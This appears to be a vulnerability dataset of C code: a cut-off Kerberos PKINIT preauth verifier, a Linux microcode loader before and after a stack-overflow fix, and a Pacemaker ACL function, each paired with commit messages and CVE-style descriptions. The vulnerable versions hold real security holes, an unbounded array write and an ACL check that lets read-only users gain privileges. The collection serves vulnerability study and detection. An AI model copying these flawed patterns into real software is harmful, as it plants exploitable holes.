        retval = k5int_decode_krb5_pa_pk_as_req_draft9(&k5data, &reqp9);
        if (retval) {
            pkiDebug("decode_krb5_pa_pk_as_req_draft9 failed\n");
            goto cleanup;
        }
#ifdef DEBUG_ASN1
        print_buffer_bin(reqp9->signedAuthPack.data,
                         reqp9->signedAuthPack.length,
                         "/tmp/kdc_signed_data_draft9");
#endif

        retval = cms_signeddata_verify(context, plgctx->cryptoctx,
                                       reqctx->cryptoctx, plgctx->idctx, CMS_SIGN_DRAFT9,
                                       plgctx->opts->require_crl_checking,
                                       (unsigned char *)
                                       reqp9->signedAuthPack.data, reqp9->signedAuthPack.length,
                                       (unsigned char **)&authp_data.data,
                                       &authp_data.length,
                                       (unsigned char **)&krb5_authz.data,
                                       &krb5_authz.length, NULL);
        break;
    default:
        pkiDebug("unrecognized pa_type = %d\n", data->pa_type);
        retval = EINVAL;
        goto cleanup;
    }
    if (retval) {
        pkiDebug("pkcs7_signeddata_verify failed\n");
        goto cleanup;
    }
    if (is_signed) {

        retval = verify_client_san(context, plgctx, reqctx, request->client,
                                   &valid_san);
        if (retval)
            goto cleanup;
        if (!valid_san) {
            pkiDebug("%s: did not find an acceptable SAN in user "
                     "certificate\n", __FUNCTION__);
            retval = KRB5KDC_ERR_CLIENT_NAME_MISMATCH;
            goto cleanup;
        }
        retval = verify_client_eku(context, plgctx, reqctx, &valid_eku);
        if (retval)
            goto cleanup;

        if (!valid_eku) {
            pkiDebug("%s: did not find an acceptable EKU in user "
                     "certificate\n", __FUNCTION__);
            retval = KRB5KDC_ERR_INCONSISTENT_KEY_PURPOSE;
            goto cleanup;
        }
    } else { /* !is_signed */
        if (!krb5_principal_compare(context, request->client,
                                    krb5_anonymous_principal())) {
            retval = KRB5KDC_ERR_PREAUTH_FAILED;
            krb5_set_error_message(context, retval,
                                   _("Pkinit request not signed, but client "
                                     "not anonymous."));
            goto cleanup;
        }
    }
#ifdef DEBUG_ASN1
    print_buffer_bin(authp_data.data, authp_data.length, "/tmp/kdc_auth_pack");
#endif

    OCTETDATA_TO_KRB5DATA(&authp_data, &k5data);
    switch ((int)data->pa_type) {
    case KRB5_PADATA_PK_AS_REQ:
        retval = k5int_decode_krb5_auth_pack(&k5data, &auth_pack);
        if (retval) {
            pkiDebug("failed to decode krb5_auth_pack\n");
            goto cleanup;
        }

        retval = krb5_check_clockskew(context,
                                      auth_pack->pkAuthenticator.ctime);
        if (retval)
            goto cleanup;

        /* check dh parameters */
        if (auth_pack->clientPublicValue != NULL) {
            retval = server_check_dh(context, plgctx->cryptoctx,
                                     reqctx->cryptoctx, plgctx->idctx,
                                     &auth_pack->clientPublicValue->algorithm.parameters,
                                     plgctx->opts->dh_min_bits);

            if (retval) {
                pkiDebug("bad dh parameters\n");
                goto cleanup;
            }
        } else if (!is_signed) {
            /*Anonymous pkinit requires DH*/
            retval = KRB5KDC_ERR_PREAUTH_FAILED;
            krb5_set_error_message(context, retval,
                                   _("Anonymous pkinit without DH public "
                                     "value not supported."));
            goto cleanup;
        }
        der_req = cb->request_body(context, rock);
        retval = krb5_c_make_checksum(context, CKSUMTYPE_NIST_SHA, NULL,
                                      0, der_req, &cksum);
        if (retval) {
            pkiDebug("unable to calculate AS REQ checksum\n");
            goto cleanup;
        }
        if (cksum.length != auth_pack->pkAuthenticator.paChecksum.length ||
            k5_bcmp(cksum.contents,
                    auth_pack->pkAuthenticator.paChecksum.contents,
                    cksum.length) != 0) {
            pkiDebug("failed to match the checksum\n");
#ifdef DEBUG_CKSUM
            pkiDebug("calculating checksum on buf size (%d)\n",
                     req_pkt->length);
            print_buffer(req_pkt->data, req_pkt->length);
            pkiDebug("received checksum type=%d size=%d ",
                     auth_pack->pkAuthenticator.paChecksum.checksum_type,
                     auth_pack->pkAuthenticator.paChecksum.length);
            print_buffer(auth_pack->pkAuthenticator.paChecksum.contents,
                         auth_pack->pkAuthenticator.paChecksum.length);
            pkiDebug("expected checksum type=%d size=%d ",
                     cksum.checksum_type, cksum.length);
            print_buffer(cksum.contents, cksum.length);
#endif

            retval = KRB5KDC_ERR_PA_CHECKSUM_MUST_BE_INCLUDED;
            goto cleanup;
        }

        /* check if kdcPkId present and match KDC's subjectIdentifier */
        if (reqp->kdcPkId.data != NULL) {
            int valid_kdcPkId = 0;
            retval = pkinit_check_kdc_pkid(context, plgctx->cryptoctx,
                                           reqctx->cryptoctx, plgctx->idctx,
                                           (unsigned char *)reqp->kdcPkId.data,
                                           reqp->kdcPkId.length, &valid_kdcPkId);
            if (retval)
                goto cleanup;
            if (!valid_kdcPkId)
                pkiDebug("kdcPkId in AS_REQ does not match KDC's cert"
                         "RFC says to ignore and proceed\n");

        }
        /* remember the decoded auth_pack for verify_padata routine */
        reqctx->rcv_auth_pack = auth_pack;
        auth_pack = NULL;
        break;
    case KRB5_PADATA_PK_AS_REP_OLD:
    case KRB5_PADATA_PK_AS_REQ_OLD:
        retval = k5int_decode_krb5_auth_pack_draft9(&k5data, &auth_pack9);
        if (retval) {
            pkiDebug("failed to decode krb5_auth_pack_draft9\n");
            goto cleanup;
        }
        if (auth_pack9->clientPublicValue != NULL) {
            retval = server_check_dh(context, plgctx->cryptoctx,
                                     reqctx->cryptoctx, plgctx->idctx,
                                     &auth_pack9->clientPublicValue->algorithm.parameters,
                                     plgctx->opts->dh_min_bits);

            if (retval) {
                pkiDebug("bad dh parameters\n");
                goto cleanup;
            }
        }
        /* remember the decoded auth_pack for verify_padata routine */
        reqctx->rcv_auth_pack9 = auth_pack9;
        auth_pack9 = NULL;
        break;
    }

    /* remember to set the PREAUTH flag in the reply */
    enc_tkt_reply->flags |= TKT_FLG_PRE_AUTH;
    modreq = (krb5_kdcpreauth_modreq)reqctx;
    reqctx = NULL;

cleanup:
    if (retval && data->pa_type == KRB5_PADATA_PK_AS_REQ) {
        pkiDebug("pkinit_verify_padata failed: creating e-data\n");
        if (pkinit_create_edata(context, plgctx->cryptoctx, reqctx->cryptoctx,
                                plgctx->idctx, plgctx->opts, retval, &e_data))
            pkiDebug("pkinit_create_edata failed\n");
    }

    switch ((int)data->pa_type) {
    case KRB5_PADATA_PK_AS_REQ:
        free_krb5_pa_pk_as_req(&reqp);
        free(cksum.contents);
        break;
    case KRB5_PADATA_PK_AS_REP_OLD:
    case KRB5_PADATA_PK_AS_REQ_OLD:
        free_krb5_pa_pk_as_req_draft9(&reqp9);
    }
    free(authp_data.data);
    free(krb5_authz.data);
    if (reqctx != NULL)
        pkinit_fini_kdc_req_context(context, reqctx);
    free_krb5_auth_pack(&auth_pack);
    free_krb5_auth_pack_draft9(context, &auth_pack9);

    (*respond)(arg, retval, modreq, e_data, NULL);
}


x86/microcode/intel: Guard against stack overflow in the loader

mc_saved_tmp is a static array allocated on the stack, we need to make
sure mc_saved_count stays within its bounds, otherwise we're overflowing
the stack in _save_mc(). A specially crafted microcode header could lead
to a kernel crash or potentially kernel execution.

Signed-off-by: Quentin Casasnovas <quentin.casasnovas@oracle.com>
Cc: "H. Peter Anvin" <hpa@zytor.com>
Cc: Fenghua Yu <fenghua.yu@intel.com>
Link: http://lkml.kernel.org/r/1422964824-22056-1-git-send-email-quentin.casasnovas@oracle.com
Signed-off-by: Borislav Petkov <bp@suse.de>

get_matching_model_microcode(int cpu, unsigned long start,
			     void *data, size_t size,
			     struct mc_saved_data *mc_saved_data,
			     unsigned long *mc_saved_in_initrd,
			     struct ucode_cpu_info *uci)
{
	u8 *ucode_ptr = data;
	unsigned int leftover = size;
	enum ucode_state state = UCODE_OK;
	unsigned int mc_size;
	struct microcode_header_intel *mc_header;
	struct microcode_intel *mc_saved_tmp[MAX_UCODE_COUNT];
 	unsigned int mc_saved_count = mc_saved_data->mc_saved_count;
 	int i;

	while (leftover) {
 		mc_header = (struct microcode_header_intel *)ucode_ptr;

 		mc_size = get_totalsize(mc_header);
		if (!mc_size || mc_size > leftover ||
			microcode_sanity_check(ucode_ptr, 0) < 0)
			break;

		leftover -= mc_size;

		/*
		 * Since APs with same family and model as the BSP may boot in
		 * the platform, we need to find and save microcode patches
		 * with the same family and model as the BSP.
		 */
		if (matching_model_microcode(mc_header, uci->cpu_sig.sig) !=
			 UCODE_OK) {
			ucode_ptr += mc_size;
			continue;
		}

		_save_mc(mc_saved_tmp, ucode_ptr, &mc_saved_count);

		ucode_ptr += mc_size;
	}

	if (leftover) {
		state = UCODE_ERROR;
		goto out;
	}

	if (mc_saved_count == 0) {
		state = UCODE_NFOUND;
		goto out;
	}

	for (i = 0; i < mc_saved_count; i++)
		mc_saved_in_initrd[i] = (unsigned long)mc_saved_tmp[i] - start;

	mc_saved_data->mc_saved_count = mc_saved_count;
out:
	return state;
}

Stack-based buffer overflow in the get_matching_model_microcode function in arch/x86/kernel/cpu/microcode/intel_early.c in the Linux kernel before 4.0 allows context-dependent attackers to gain privileges by constructing a crafted microcode header and leveraging root privileges for write access to the initrd.


get_matching_model_microcode(int cpu, unsigned long start,
			     void *data, size_t size,
			     struct mc_saved_data *mc_saved_data,
			     unsigned long *mc_saved_in_initrd,
			     struct ucode_cpu_info *uci)
{
	u8 *ucode_ptr = data;
	unsigned int leftover = size;
	enum ucode_state state = UCODE_OK;
	unsigned int mc_size;
	struct microcode_header_intel *mc_header;
	struct microcode_intel *mc_saved_tmp[MAX_UCODE_COUNT];
 	unsigned int mc_saved_count = mc_saved_data->mc_saved_count;
 	int i;

	while (leftover && mc_saved_count < ARRAY_SIZE(mc_saved_tmp)) {
 		mc_header = (struct microcode_header_intel *)ucode_ptr;

 		mc_size = get_totalsize(mc_header);
		if (!mc_size || mc_size > leftover ||
			microcode_sanity_check(ucode_ptr, 0) < 0)
			break;

		leftover -= mc_size;

		/*
		 * Since APs with same family and model as the BSP may boot in
		 * the platform, we need to find and save microcode patches
		 * with the same family and model as the BSP.
		 */
		if (matching_model_microcode(mc_header, uci->cpu_sig.sig) !=
			 UCODE_OK) {
			ucode_ptr += mc_size;
			continue;
		}

		_save_mc(mc_saved_tmp, ucode_ptr, &mc_saved_count);

		ucode_ptr += mc_size;
	}

	if (leftover) {
		state = UCODE_ERROR;
		goto out;
	}

	if (mc_saved_count == 0) {
		state = UCODE_NFOUND;
		goto out;
	}

	for (i = 0; i < mc_saved_count; i++)
		mc_saved_in_initrd[i] = (unsigned long)mc_saved_tmp[i] - start;

	mc_saved_data->mc_saved_count = mc_saved_count;
out:
	return state;
}


Fix: acl: Do not delay evaluation of added nodes in some situations

It is not appropriate when the node has no children as it is not a
placeholder

__xml_acl_post_process(xmlNode * xml)
{
    xmlNode *cIter = __xml_first_child(xml);
    xml_private_t *p = xml->_private;

     if(is_set(p->flags, xpf_created)) {
         xmlAttr *xIter = NULL;

        /* Always allow new scaffolding, ie. node with no attributes or only an 'id' */

         for (xIter = crm_first_attr(xml); xIter != NULL; xIter = xIter->next) {
             const char *prop_name = (const char *)xIter->name;

            if (strcmp(prop_name, XML_ATTR_ID) == 0) {
                 /* Delay the acl check */
                 continue;

            } else if(__xml_acl_check(xml, NULL, xpf_acl_write)) {
                crm_trace("Creation of %s=%s is allowed", crm_element_name(xml), ID(xml));
                 break;

             } else {
                char *path = xml_get_path(xml);
                 crm_trace("Cannot add new node %s at %s", crm_element_name(xml), path);

                 if(xml != xmlDocGetRootElement(xml->doc)) {
                    xmlUnlinkNode(xml);
                    xmlFreeNode(xml);
                }
                free(path);
                 return;
             }
         }
     }

     while (cIter != NULL) {
        xmlNode *child = cIter;
        cIter = __xml_next(cIter); /* In case it is free'd */
        __xml_acl_post_process(child);
    }
}

Pacemaker before 1.1.13 does not properly evaluate added nodes, which allows remote read-only users to gain privileges via an acl command.